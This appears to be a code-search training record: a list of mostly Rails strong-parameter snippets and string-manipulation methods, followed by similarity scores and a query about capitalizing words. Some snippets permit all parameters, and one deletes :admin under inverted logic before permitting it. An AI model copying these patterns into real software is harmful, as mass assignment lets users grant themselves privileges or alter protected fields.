"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
output: string with first char of each word capped
|
def word_cap(str)
str.split.each { |word| word.capitalize! }.join(' ')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def start_of_word(a)\n return a.chars.first.join\nend",
"def word_cap(str)\n new_words = \n str.downcase.split.map do |word|\n word[0] = (word[0].ord - 32).chr if word[0].ord.between?(97,122)\n word\n end\n new_words.join(\" \")\nend",
"def create_index1(word)\n word.chars.sort!.join\n end",
"def start_of_word(str,index)\n if str.length > 1\n str.slice(0,index)\n else\n alphabet= (\"a\"..\"z\").to_a\n alphabet_seq = (\"a\"..alphabet[index]).to_a\n alphabet_seq.join\n end\nend",
"def crunch(str)\n str.split.map do |word|\n word.chars.each_with_object('') do |char, clean_word|\n clean_word << char if char != clean_word[-1]\n end\n end.join(' ')\nend",
"def word_cap(string)\n capped_words =\n string.split.map do |word|\n word.downcase!\n word[0] = word[0].upcase\n word\n end\n capped_words.join(' ')\nend",
"def word_cap(string)\n words = string.split(' ')\n words.map! do |word|\n characters = word.chars\n characters[0] = characters[0].upcase\n characters.join(\"\")\n end\n words.join(\" \")\nend",
"def staggered_case(words)\n mixed_chars = words.chars.each_with_index.map do |char, index|\n if index.even? && char =~ /[a-zA-Z]/\n char.upcase\n elsif index.odd? && char =~ /[a-zA-Z]/\n char.downcase\n else\n char\n end\n end\n mixed_chars.join\nend",
"def staggered_case(string)\n index = 1\n array = string.chars\n array.each do |char|\n if char =~ /[a-zA-Z]/\n char.upcase! if index.odd?\n char.downcase! if index.even?\n index += 1\n else \n char \n end\n end \n p array.join \n \nend",
"def word_cap2(str)\n str.split(' ').map { |wrd| wrd[0].upcase + wrd[1..-1].downcase }.join(' ')\nend",
"def word_cap3(str)\n str.split.map { |word| word.sub(word[0], word[0].upcase) }.join(\" \")\nend",
"def staggered_case(string)\n result = string.chars.map.with_index do |char, index|\n if (index.even? || index == 0) && char == char.downcase\n char.upcase\n elsif index.odd? && char == char.upcase\n char.downcase\n else\n char\n end \n end \n result.join\nend",
"def char_concat(word)\n (1..word.length/2).map {|i| word[i - 1] + word[-i] + i.to_s}.join\nend",
"def staggered_case1(str)\n staggered_chars = str.chars.map.with_index do |char, index|\n index.even? ? char.upcase : char.downcase\n end\n staggered_chars.join\nend",
"def create_index2(word)\n word.each_char.map {|c| CHAR_MAP[c.downcase]}.reduce(:*)\n end",
"def word_cap(str)\n str.split.map { |word| word[0].upcase + word[1..-1] }.join(' ')\nend",
"def staggered_case(input)\n input = input.downcase\n new_arr = []\n \n input.chars.each_with_index do |char, idx|\n if idx % 2 == 1 || (!(('a'..'z').to_a).include?(char) && !(('A'..'Z').to_a).include?(char))\n new_arr << char\n else\n new_arr << char.capitalize!\n end\n end\n new_arr.join\nend",
"def swasify(word)\r\n word = word.upcase.gsub(' ','').strip\r\n width = (word.length*2 - 1)*4 - 3\r\n sc = width/2\r\n word.split('')[0..-2].each do |letter|\r\n puts \" \"*sc + letter\r\n sc -= 2\r\n end\r\n sc2 = word.length*4 - 5\r\n puts \" \"*sc + word[-1] + \" \"*sc2 + word[-1]\r\n sc3 = 3\r\n \r\n word.split('')[1..-2].reverse.each do |letter|\r\n sc += 2\r\n sc2 -= 4 \r\n puts \" \"*sc + letter + \" \"*sc2 + letter + \" \"*sc3 + letter\r\n sc3 += 4\r\n end\r\n\r\n puts (word[0] + ' '*sc3)*2 + word[0]\r\n\r\n sc = 2\r\n word.split('')[1..-2].each do |letter|\r\n sc3 -= 4\r\n puts \" \"*sc + letter + \" \"*sc3 + letter + \" \"*sc2 + letter\r\n sc += 2\r\n sc2 += 4\r\n end\r\n\r\n sc2 = word.length*4 - 5\r\n puts \" \"*sc + word[-1] + \" \"*sc2 + word[-1]\r\n sc += sc2 - 1\r\n word.split('')[0..-2].reverse.each do |letter|\r\n puts \" \"*sc + letter\r\n sc -= 2\r\n end \r\nend",
"def staggered_case(string)\n string = string.split(' ')\n current_idx = -1\n\n new_string = string.map do |word|\n current_idx += 1\n word.chars.map do |letter|\n current_idx.even? ? letter.upcase! : letter.downcase!\n current_idx += 1\n letter\n end.join('')\n end\n new_string.join(' ')\nend",
"def start_of_word(a, b)\n return a.chars.first(b).join\nend",
"def word_cap(str)\n str.downcase.split.map{ |c| c[0].upcase + c[1..-1] }.join(\" \")\nend",
"def folding_cipher(string)\n alpha = ('a'..'z').to_a\n reverse = alpha.reverse\n\n string.split('').map do |ch|\n idx = alpha.index(ch)\n reverse[idx]\n end.join('') \nend",
"def typoglycemiaWord(input)\n if input.length <= 3\n input\n end\n letters = input.chars\n last = letters.pop\n first = letters.shift\n letters.shuffle!\n letters << first\n letters.rotate!(-1)\n letters << last\n letters.join\nend",
"def staggered_case(str) \n str.chars.map.with_index do |el, idx|\n idx.even? ? el.upcase : el.downcase\n end.join\nend",
"def staggered_case(str)\n str.chars.map.with_index \\\n { |chr, idx| idx.even? ? chr.upcase : chr.downcase }.join('')\nend",
"def insertions word\n n = word.length\n new_words = []\n (n+1).times {|i| ('a'..'z').each {|l| new_words << word[0...i]+l.chr+word[i..-1] } }\n new_words\n end",
"def staggered_case(string)\n char_array = string.downcase.split(\"\")\n staggered_string = \"\"\n char_array.each_with_index { |char, index|\n if index.even? && char.match?(/[a-zA-Z]/)\n staggered_string += char.upcase\n else\n staggered_string += char\n end\n }\n staggered_string\nend",
"def nth_char(words)\n final_word = []\n words.each_with_index { |word, index| \n final_word << word[index]\n }\n return final_word.join('')\nend",
"def sentencify(words)\n \n words[0] = words[0].chr.upcase << words[0][1..-1]\n words.join(\" \")<<\".\"\nend",
"def smash\n downcase.scan(/\\w+/).join\n end",
"def staggered_case(string)\n staggered = []\n string.chars.each_with_index do |char, index|\n if index.odd?\n staggered << char.downcase\n else\n staggered << char.upcase\n end\n end\n staggered.join\nend",
"def staggered_case(string)\n iterator = 0\n characters = string.chars.map do |char|\n iterator += 1\n if iterator.odd?\n char.upcase\n elsif iterator.even?\n char.downcase\n else\n char\n end\n end\n characters.join\nend",
"def stagger(string)\n char_array = string.chars\n new_char = []\n char_array.each_with_index do |char, i|\n if i.even?\n new_char << char.upcase\n elsif i.odd?\n new_char << char.downcase\n end\n end\n p new_char.join\nend",
"def encrypt_this(str)\n words = str.split\n \n words.each do |word|\n word[1],word[-1] = word[-1], word[1] if word.length > 1\n end\n \n words.map! do |word|\n word = word.chars.map.with_index do |letter, index|\n if index == 0\n letter.ord\n else\n letter\n end\n end.join\n end\n words.join(' ')\nend",
"def word_cap(string)\n words = string.split\n\n words.map! do |word|\n word = word.downcase\n word[0] = word[0].upcase\n word\n end\n\n words.join(' ')\nend",
"def staggered_case_1(string)\n\tflag = true\n\tnew_string = string.chars.map do |char|\n\t\tif char =~ /[A-Za-z]/\n\t\t\tif flag\n\t\t\t\tchar.upcase!\n\t\t\telse\n\t\t\t\tchar.downcase!\n\t\t\tend\n\t\t\tflag = !flag\n\t\t\tchar\n\t\telse\n\t\t\tchar\n\t\tend\n\tend\n\tnew_string.join(\"\")\nend",
"def crunch(text)\n text.gsub(/(.)\\1+/, &:chr)\nend",
"def staggered_case(str)\n arry = str.chars \n\n arry.each_with_index do |ch, index|\n index.odd? ? ch.downcase! : ch.upcase!\n end\n arry.join('')\nend",
"def staggered_case(string)\n counter = 0\n final = string.chars.map do |el|\n counter += 1 if ('a'..'z').include?(el.downcase)\n counter.odd? ? el.upcase : el.downcase\n end\n final.join\nend",
"def word_cap(str)\n uppercase_hash = { 'a' => 'A', 'b' => 'B', 'c' => 'C', 'd' => 'D', \n 'e' => 'E', 'f' => 'F', 'g' => 'G', 'h' => 'H',\n 'i' => 'I', 'j' => 'J', 'k' => 'K', 'l' => 'L',\n 'm' => 'M', 'n' => 'N', 'o' => 'O', 'p' => 'P',\n 'q' => 'Q', 'r' => 'R', 's' => 'S', 't' => 'T',\n 'u' => 'U', 'v' => 'V', 'w' => 'W', 'x' => 'X',\n 'y' => 'Y', 'z' => 'Z' }\n\n capitalized = str.split.map do |word|\n prefix = uppercase_hash[word[0]] if uppercase_hash.has_key?(word)\n prefix + word[1..-1]\n end\n capitalized.join(' ')\nend",
"def staggered_case(str)\n str.chars.map.with_index { |element, index| index.even? ? element.upcase : element.downcase }.join\nend",
"def start_of_word word, length\n word.chars.take(length).join\nend",
"def wordprep(word)\n return word.gsub(/\\W/,'').downcase.chars.sort.join\nend",
"def accum(s)\n s.chars.map.with_index { |let, ix| (let.downcase * (ix + 1)).capitalize }.join(\"-\")\n # s.chars.map.with_index(1) { |let, ix| (let * ix).capitalize }.join(\"-\")\nend",
"def staggered_case(str)\n str.chars.map.with_index {|el, i| i.even? ? el.upcase : el.downcase}.join\nend",
"def staggered_case(str)\n str.chars.map.with_index { |e, i| i.even? ? e.upcase : e.downcase }.join\nend",
"def staggered_case(string)\n result_array = string.chars\n result_array.each_with_index do |item, i|\n i.odd? ? item.downcase! : item.upcase!\n end.join\nend",
"def word_cap(str)\n words = str.split\n words.each do |word|\n word[0] = word[0].upcase\n word[1..-1] = word[1..-1].downcase\n end\n words.join(' ')\nend",
"def first_char word\n word[0].downcase\nend",
"def first_char word\n word[0].downcase\nend",
"def each_first_letters\n self.split.map(&:capitalize).join(' ')\n end",
"def staggered_case(string)\n string.downcase.each_char.map.with_index do |char, index|\n if index.even?\n char.upcase\n else\n char\n end\n end.join\nend",
"def pig_it(str)\r\n str.split.map { |w| w =~ /[a-z]/i ? w[1..-1] + w[0] + 'ay' : w }.join(' ')\r\nend",
"def word_cap(string)\n string.split.map do |word|\n word[0].gsub(/[aeiou]/ &:upcase)\n end\nend",
"def same_char_collapse(str)\n word = \"\"\n str.each_char.with_index do |char, i|\n if (char == word[-1])\n word = word[0...-1]\n else\n word += char \n end\n end\n\n return word\nend",
"def nth_char(arr)\n arr.map.with_index { |word, idx| word[idx] }.join\nend",
"def staggered_case(str)\n spongebob_case = str.split('').map.with_index do |char, index|\n if index.odd?\n char.upcase\n elsif index.even?\n char.downcase\n else\n char\n end\n end.join\n\n spongebob_case\nend",
"def acronomyzer(sentence)\n words = sentence.split\n letters = []\n\n words.each do |word|\n letter = word[0]\n letters << letter\n end\n\n letters.join.upcase\nend",
"def first_char word\n word.chr.downcase\nend",
"def rule2(str = @word)\n newstr = str.chars\n newstr.each_index do |index|\n if (newstr[index..index+5].uniq.length==1)\n newstr[index..index+5] = newstr[index]\n end\n end\n newstr.join('').to_s.squeeze(\" \")\n end",
"def staggered_case(string)\n chars = string.chars\n chars.map.with_index do |char, index|\n index.even? ? char.upcase : char.downcase\n end.join\nend",
"def key(word)\n word.upcase_letters.sort.join\n end",
"def staggered_case(strs)\n result = strs.split.each do |str|\n p str.chars\n str.chars.map!.with_index do |letter, idx|\n if idx.even?\n letter.upcase!\n else\n letter.downcase!\n end\n end\n p str\n str\n end\n result\nend",
"def word_cap2(str) # Without Using .capitalize method\n str.split.each { |word| word[0] = word[0].upcase }.join(\" \")\nend",
"def staggered_case(str) \n next_char_is_uppercase = false\n\n new_chars = str.chars.map do |character|\n next_char_is_uppercase = !next_char_is_uppercase\n next_char_is_uppercase ? character.upcase : character.downcase\n end\n\n new_chars.join\nend",
"def staggered_case(string)\n string_arr = string.chars\n string_arr.each_with_index do |char, index|\n if index == 0\n char.upcase!\n elsif index.even?\n char.upcase!\n else\n char.downcase!\n end\n end\n string_arr.join\nend",
"def staggered_case(str)\narray = str.split(\"\")\nresult = array.each_with_index do |char, index|\n if index % 2 == 0 && char.match(/[a-zA-Z]/)\n char.upcase!\n elsif index % 2 == 1 && char.match(/[a-zA-Z]/)\n char.downcase!\n end\nend\nresult.join(\"\")\nend",
"def weirdcase(string)\n words = string.split(' ')\n\n words.map do |word|\n word.chars.map.with_index do |letter, index|\n index.even? ? letter.upcase : letter.downcase\n # if index.even?\n # letter.upcase\n # else\n # letter.downcase\n # end\n end.join\n end.join(' ')\n\nend",
"def encrypt_this(text)\n x = text.split(\" \")\n x.map! do |word, index|\n if x[0].length == 1 || word.length == 1\n \"#{word[0].codepoints.join()}\"\n elsif word.length == 2\n \"#{word[0].codepoints.join()}#{word[1]}\"\n else\n \"#{word[0].codepoints.join()}#{word[-1]}#{word[2..-2]}#{word[1]}\"\n end\n end\n x.join(\" \")\nend",
"def staggered_case(string)\n result = []\n string.chars.each_index do |index|\n if index.even?\n result << string[index].upcase\n else\n result << string[index].downcase\n end\n end\n result.join\nend",
"def word_cap3(string)\n string.split.each { |word| word[0] = word[0].capitalize }.join(\" \")\nend",
"def hipsterfy(str)\n finalArray = []\n alphabet = (\"a\"..\"z\").to_a\n wordArray = str.split(\" \")\n wordArray.each do |word|\n firstSeen = false\n reversed = word.split(\"\").reverse\n finalWord = []\n reversed.each do |letter|\n if firstSeen == true || letter != \"a\" && letter != \"e\" && letter != \"i\" && letter != \"o\" && letter != \"u\"\n finalWord.push(letter)\n\n elsif firstSeen == false && letter == \"a\" || letter == \"e\" || letter == \"i\" || letter == \"o\" || letter == \"u\"\n # don't add here\n firstSeen = true\n end\n end\n \n newString = \"\"\n finalWord.reverse.each do |element|\n newString += String(element)\n end\n finalArray.push(newString)\n \n end\n \n \n \n # print finalArray\n finalString = \"\"\n \n finalArray.each_with_index do |word, index|\n if index != finalArray.length - 1\n finalString += word + \" \"\n else\n finalString += word\n end\n end\n \n \n \n \n \n \n return finalString\n \n \n\n \nend",
"def staggered_case(string)\n chars = string.chars.map(&:downcase)\n n = 0\n m = 0\n\n results = []\n\n chars.size.times do\n if n.even? && chars[m] =~ /[A-Za-z]/\n results << chars[m].upcase\n n += 1\n m += 1\n elsif chars[m] =~ /[A-Za-z]/\n results << chars[m]\n n += 1\n m += 1\n else\n results << chars[m]\n m += 1\n end\n end\n\n results.join\nend",
"def replacements word\n n = word.length\n new_words = []\n n.times {|i| ('a'..'z').each {|l| new_words << word[0...i]+l.chr+word[i+1..-1] } }\n new_words\n end",
"def rule1(str = @word)\n newstr = str.chars\n newstr.each_index do |index|\n if newstr[index-1].eql?newstr[index+1]\n newstr[index]=newstr[index-1] unless newstr[index].eql?(\" \") || newstr[index-1].eql?(\" \") || newstr[index+1].eql?(\" \")\n end\n end\n newstr.join('').to_s.squeeze(\" \")\n end",
"def staggered_case(string)\n count = 1\n string_chars = string.downcase.chars\n result = String.new\n for i in 0..(string.size-1)\n result << string_chars[i].upcase if (i+1).odd?\n result << string_chars[i] if (i+1).even?\n end\n result\nend",
"def weirdcase(string)\n string.split(' ').map do |word|\n word.split('').map.with_index do |letter, index|\n if index % 2 == 0\n letter.capitalize\n else\n letter\n end\n end.join('')\n end.join(' ')\nend",
"def staggered_case(string)\n result = string.downcase.chars\n result.map.with_index do |char, i|\n i.even? ? char.capitalize! : char\n end\n result.join\nend",
"def pig_it(string)\n words = string.split\n\n words.map do |word|\n if word.match(/[a-z]/i)\n word[1..word.size] << word[0] << 'ay'\n else\n word\n end\n end.join(' ')\nend",
"def to_initials(sent)\n initials = \"\"\n sent.split.each { |word| initials += word[0]}\n initials\nend",
"def swap(input)\n array = input.split(' ')\n array.map! { |word| word.chars }\n array.map! do |word|\n word[0], word[-1] = word[-1], word[0]\n word.join('')\n end\n array.join(' ')\nend",
"def encrypt_this(text)\n text.split.map { |word|\n word[1], word[-1] = word[-1], word[1] if word.size > 2\n word[0] = word[0].ord.to_s\n word\n } .join(' ')\nend",
"def repeater(string)\n string = string.split(\" \")\n\n string.map do |word|\n word = word.split('')\n word.map {|letter| letter * 2}.join('')\n end.join(' ')\nend",
"def first_word(word)\n\treturn \"#{word}\".split.first ###### divise le premier element du reste de la chaine\nend",
"def pig_it(sentence)\n sentence.split.map do |word|\n if ('a'..'z').cover?(word.downcase)\n word[1..-1] + word[0] + 'ay'\n else\n word\n end\n end.join(' ')\nend",
"def snake(str)\n words = str.split\n current_word = 1\n\n loop do\n words[current_word].downcase!\n\n current_word += 1\n break if current_word >= words.size\n end\n\n words.join('_')\nend",
"def staggered_case(string)\n chars = string.chars\n upcase_next = true\n\n chars.map do |char|\n if upcase_next\n if char.match(/[a-zA-Z]/)\n upcase_next = false\n char.upcase\n else\n char\n end\n else\n upcase_next = true if char.match(/[a-zA-Z]/)\n char.downcase\n end\n end.join\n\nend",
"def staggered_case2(str)\n char_arr = str.chars\n toggle = true\n result = []\n char_arr.each do |char|\n if char.match(/[a-z]/i)\n if toggle\n result << char.upcase\n elsif !toggle\n result << char.downcase\n end\n toggle = !toggle\n else\n result << char\n end\n end\n result.join\nend",
"def reformatInput(word)\n return String.downcase(String.chars.sort(&:casecmp).join)\n end",
"def accum2(s)\n s.chars.each_with_index.map do |c, i|\n c.upcase + c.downcase * i\n end.join('-')\nend",
"def staggered_case(string)\n iterator = 0\n characters = string.chars.map do |char|\n iterator += 1 if char =~ /[a-zA-Z]/\n #if char =~ /[a-z]/i <--LS\n if iterator.odd?\n char.upcase\n elsif iterator.even?\n char.downcase\n else\n char\n end\n end\n characters.join\nend",
"def first_char(word)\n word[0].downcase\nend",
"def first_char(word)\n word[0].downcase\nend",
"def first_char(word)\n word[0].downcase\nend",
"def first_char(word)\n word[0].downcase\nend",
"def solution(str)\n str.gsub(/([A-Z])/, ' \\1')\nend",
"def staggered_case_not_count_non_alphabetic(string)\n need_upper = true\n string.split('').map do |char| \n if char =~ /[a-zA-z]/\n transformed_char = need_upper ? char.upcase : char.downcase\n need_upper = !need_upper\n transformed_char\n else\n char\n end\n end.join\nend",
"def first_char(word)\n return word[0].downcase\nend",
"def canonical(word)\n word.split(\"\").sort.join\nend",
"def solution(string)\n string.gsub(/([A-Z])/, ' \\1')\nend",
"def solution(string)\n string.gsub(/([A-Z])/, ' \\1')\nend"
] |
[
"0.71904933",
"0.71635",
"0.69765633",
"0.6968609",
"0.6923813",
"0.690993",
"0.6891819",
"0.6889737",
"0.68699515",
"0.68509454",
"0.68150955",
"0.68119955",
"0.67886543",
"0.6784134",
"0.67813516",
"0.6771816",
"0.67648315",
"0.6751634",
"0.6749942",
"0.67211217",
"0.67196524",
"0.67093015",
"0.6669352",
"0.665692",
"0.6653252",
"0.6651639",
"0.6649541",
"0.6647611",
"0.6645899",
"0.66359746",
"0.6631437",
"0.6627507",
"0.66211516",
"0.66132236",
"0.660937",
"0.6605236",
"0.6604407",
"0.65922517",
"0.6589455",
"0.6589003",
"0.65869534",
"0.65814704",
"0.6574807",
"0.6572991",
"0.6571521",
"0.6563762",
"0.65588206",
"0.6555243",
"0.6545116",
"0.6545116",
"0.6538692",
"0.6536625",
"0.653573",
"0.65313417",
"0.65195304",
"0.6516623",
"0.6508814",
"0.6508262",
"0.6496323",
"0.64949775",
"0.6483232",
"0.6482284",
"0.6481893",
"0.64788735",
"0.64748824",
"0.6464323",
"0.6464053",
"0.64620984",
"0.6458344",
"0.6449911",
"0.64459175",
"0.6445604",
"0.6445505",
"0.6444451",
"0.6444229",
"0.6436135",
"0.6434831",
"0.64334416",
"0.6433352",
"0.6425494",
"0.64243597",
"0.6422828",
"0.6419991",
"0.64177334",
"0.64171207",
"0.6408511",
"0.640538",
"0.6404707",
"0.64041644",
"0.6399508",
"0.63944536",
"0.6385598",
"0.6385598",
"0.6385598",
"0.6385598",
"0.6383038",
"0.6382668",
"0.63803357",
"0.6373639",
"0.6371088",
"0.6371088"
] |
0.0
|
-1
|
now try a brute force one (can make it easier by downcasing whole thing first...)
|
def word_cap(str)
words = str.split
words.each do |word|
word[0] = word[0].upcase
word[1..-1] = word[1..-1].downcase
end
words.join(' ')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_params(fonts)\n 1.upto(9) do |d|\n 2.times do\n 1.upto(999) do |u|\n 1.upto(999) do |v|\n if fonts.all? {|f| solve_identity(u, v, f + d) }\n table = fonts.map do |f|\n solve_identity(u, v, f + d).reverse\n end.transpose.flatten.map {|c| c.chr }.join\n return u, v, d, table\n end\n end\n end\n d = -d\n end\n end\n puts \"Not found.\"\n exit\nend",
"def cracklepop1\n def aux x\n /[A-Z]+/i.match(x.to_s).to_s\n end\n (1..100).map do |i|\n x = i%3==0 ? 'crackle' : i\n i%5==0 ? (aux(x)+'pop') : x\n end\nend",
"def brute_force_optimal(tg,faulty,replacements,n)\n if tg[1].size == 0 # special case if there are no edges(all replacements are equal)\n return get_mappings(faulty,replacements)[0] # return the first mapping\n end\n get_mappings(faulty,replacements).min_by do |a|\n euclidean_distance(tg,a,n) \n end\nend",
"def part2(program)\n special = 19690720\n (0..99).to_a.repeated_permutation(2).each do |noun, verb|\n input = program.dup\n input[1] = noun\n input[2] = verb\n\n output = run(input)\n puts \"noun = #{noun}, verb = #{verb}, output = #{output[0]}\"\n if output[0] == special\n return [noun, verb]\n end\n end\n puts \"fuck\"\n return [-1, -1]\nend",
"def solve( n = 16 )\n max = 0\n \n (1..10).each do |a|\n (1..10).each do |b|\n next if b == a\n (1..10).each do |c|\n next if c == b || c == a\n (1..10).each do |d|\n next if d == c || d == b || d == a\n (1..10).each do |e|\n next if e == d || e == c || e == b || e == a\n\n rotate = 3*[a, b, c, d, e].each_with_index.min[1]\n (1..10).each do |f|\n next if f == e || f == d || f == c || f == b || f == a\n (1..10).each do |g|\n next if g == f || g == e || g == d || g == c || g == b || g == a\n \n t = a + f + g\n (1..10).each do |h|\n next if h == g || h == f || h == e || h == d || h == c || h == b || h == a\n next unless t == b + g + h\n\n (1..10).each do |i|\n next if i == h || i == g || i == f || i == e || i == d || i == c || i == b || i == a\n next unless t == c + h + i\n\n (1..10).each do |j|\n next if j == i || j == h || j == g || j == f || j == e || j == d || j == c || j == b || j == a\n next unless t == d + i + j && t == e + j + f\n\n s = [a, f, g, b, g, h, c, h, i, d, i, j, e, j, f]\n rotate.times {s.push s.shift}\n\n s = s.join\n next if n != s.length\n\n max = [max, s.to_i].max\n end\n end\n end\n end\n end\n end\n end\n end\n end\n end\n\n max\n end",
"def pe52(startAt, endAt)\n (startAt..endAt).step(6).each do |x|\n bNum = x/6\n bNumCSort = bNum.to_s.chars.sort\n next if bNumCSort != x.to_s.chars.sort\n next if bNumCSort != (bNum*5).to_s.chars.sort\n next if bNumCSort != (bNum*4).to_s.chars.sort\n next if bNumCSort != (bNum*3).to_s.chars.sort\n next if bNumCSort != (bNum*2).to_s.chars.sort\n return bNum\n end\n false\nend",
"def solve_two_vs_three_vs_five\n return if @arr[1].nil? || @arr[6].nil?\n\n #p \"1,6: #{@arr[1]},#{@arr[6]}\"\n\n @words.filter{|x| x.length == 5 && @hash[x].nil?}.each{|w|\n if @arr[1].chars.all?{|c| w.chars.include?(c)}\n solved(3, w)\n elsif w.chars.all?{|c2| @arr[6].chars.include?(c2)}\n solved(5, w)\n else\n solved(2, w)\n end\n }\n end",
"def goodVsEvil(good, evil)\n # good_power, evil_power = 0, 0\n # good.split.each_with_index do |num, i|\n # if i < 3\n # good_power += num.to_i * (i + 1)\n # elsif i < 5\n # good_power += num.to_i * i\n # elsif i == 5\n # good_power += num.to_i * 2 * i\n # end\n # end\n god = good.split.each_with_index.inject(0) do |sum, (num, i)|\n if i < 3\n sum + num.to_i * (i + 1)\n elsif i < 5\n sum + num.to_i * i\n elsif i == 5\n sum + num.to_i * 2 * i\n end\n end\n \n \n evl = evil.split.each_with_index.inject(0) do |sum, (num, i)|\n case i\n when 0\n sum + num.to_i * (i + 1)\n when 1, 2, 3\n sum + num.to_i * 2\n when 4\n sum + num.to_i * (i - 1)\n when 5\n sum + num.to_i * i\n when 6\n sum + num.to_i * (i + 4) \n end\n end\n \n if evl > god\n str = \"Evil eradicates all trace of Good\"\n elsif evl < god\n str = \"Good triumphs over Evil\"\n else\n str = \"No victor on this battle field\"\n end\n \n \"Battle Result: #{str}\"\nend",
"def get_hint(secret, guess)\r\n hash1 = Hash.new(0)\r\n hash2 = Hash.new(0)\r\n bulls = 0\r\n cows = 0\r\n \r\n secret.each_char.with_index do |char, idx| \r\n hash1[char] += 1\r\n bulls += 1 if secret[idx] == guess[idx]\r\n end\r\n \r\n guess.each_char {|char| hash2[char] += 1}\r\n hash1.keys.each {|key| cows += [hash1[key], hash2[key]].min}\r\n \r\n bulls.to_s + \"A\" + (cows-bulls).to_s + \"B\"\r\nend",
